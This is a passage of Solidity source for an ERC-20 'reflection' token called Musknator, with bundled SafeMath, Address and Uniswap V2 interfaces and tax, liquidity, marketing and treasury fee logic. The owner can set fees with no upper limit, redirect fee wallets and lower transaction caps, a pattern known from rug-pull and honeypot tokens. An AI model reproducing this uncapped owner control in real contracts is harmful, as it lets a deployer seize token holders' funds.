* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Musknator is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * (10**18);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Musknator";
string private _symbol = "Musknator";
uint8 private _decimals = 18;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _marketingFee = 3;
uint256 private _previousMarketingFee = _marketingFee;
address payable public marketingWallet = payable(0xCFf41bE63CAAB2aFE59Fb948782835B1a709AcdD);
uint256 public _treasuryFee = 3;
uint256 private _previousTreasuryFee = _treasuryFee;
address payable public treasuryWallet = payable(0x14992F89051FB92067C325cfA17Fed6A13e34e03);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public swapTokensAtAmount = 2000000 * 10**18;
uint256 public _maxTxAmount = 1000000000 * 10**18;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[owner()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[marketingWallet] = true;
_isExcludedFromFee[treasuryWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee==0 && _treasuryFee==0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_previousMarketingFee = _marketingFee;
_previousTreasuryFee = _treasuryFee;
_taxFee = 0;
_liquidityFee = 0;
_marketingFee = 0;
_treasuryFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_marketingFee = _previousMarketingFee;
_treasuryFee = _previousTreasuryFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
from != owner() &&
swapAndLiquifyEnabled
) {
contractTokenBalance = swapTokensAtAmount;
//add liquidity and swap for marketing and treasury wallet
swapAndLiquify(contractTokenBalance);
}
//transfer amount, it will take tax, liquidity, marketing and treasury fee
_tokenTransfer(from,to,amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 tokensForLiquidity = contractTokenBalance.mul(_liquidityFee).div(_marketingFee.add(_liquidityFee).add(_treasuryFee));
uint256 tokensForMarketing = contractTokenBalance.mul(_marketingFee).div(_marketingFee.add(_liquidityFee).add(_treasuryFee));
uint256 tokensForTreasury = contractTokenBalance.sub(tokensForLiquidity.add(tokensForMarketing));
// split the Liquidity token balance into halves
uint256 half = tokensForLiquidity.div(2);
uint256 otherHalf = tokensForLiquidity.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half, address(this)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
// swap and send eth to marketing wallet
swapTokensForEth(tokensForMarketing, marketingWallet);
// swap and send eth to Treasury wallet
swapTokensForEth(tokensForTreasury, treasuryWallet);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount, address _to) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
_to,
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount) private
{
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient])
{
removeAllFee();
}
else
{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient])
{
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private
{
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
(tTransferAmount, rTransferAmount) = takeMarketing(sender, tTransferAmount, rTransferAmount, tAmount);
(tTransferAmount, rTransferAmount) = takeTreasury(sender, tTransferAmount, rTransferAmount, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function takeMarketing(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private
returns (uint256, uint256)
{
if(_marketingFee==0) { return(tTransferAmount, rTransferAmount); }
uint256 tMarketing = tAmount.div(100).mul(_marketingFee);
uint256 rMarketing = tMarketing.mul(_getRate());
rTransferAmount = rTransferAmount.sub(rMarketing);
tTransferAmount = tTransferAmount.sub(tMarketing);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketing);
emit Transfer(sender, address(this), tMarketing);
return(tTransferAmount, rTransferAmount);
}
function takeTreasury(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private
returns (uint256, uint256)
{
if(_treasuryFee==0) { return(tTransferAmount, rTransferAmount); }
uint256 tTreasury = tAmount.div(100).mul(_treasuryFee);
uint256 rTreasury = tTreasury.mul(_getRate());
rTransferAmount = rTransferAmount.sub(rTreasury);
tTransferAmount = tTransferAmount.sub(tTreasury);
_rOwned[address(this)] = _rOwned[address(this)].add(rTreasury);
emit Transfer(sender, address(this), tTreasury);
return(tTransferAmount, rTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMarketingWallet(address payable newWallet) external onlyOwner() {
marketingWallet = newWallet;
}
function setTreasuryWallet(address payable newWallet) external onlyOwner() {
treasuryWallet = newWallet;
}
function setFeePercent(uint256 taxFee, uint256 liquidityFee, uint256 marketingFee, uint256 treasuryFee) external onlyOwner() {
_taxFee = taxFee;
_liquidityFee = liquidityFee;
_marketingFee = marketingFee;
_treasuryFee = treasuryFee;
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner() {
swapTokensAtAmount = newAmount * (10**18);
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount > 0, "transaction amount must be greater than zero");
_maxTxAmount = maxTxAmount * (10**18);
}
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/**
*Submitted for verification at Etherscan.io on 2021-04-30
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/*
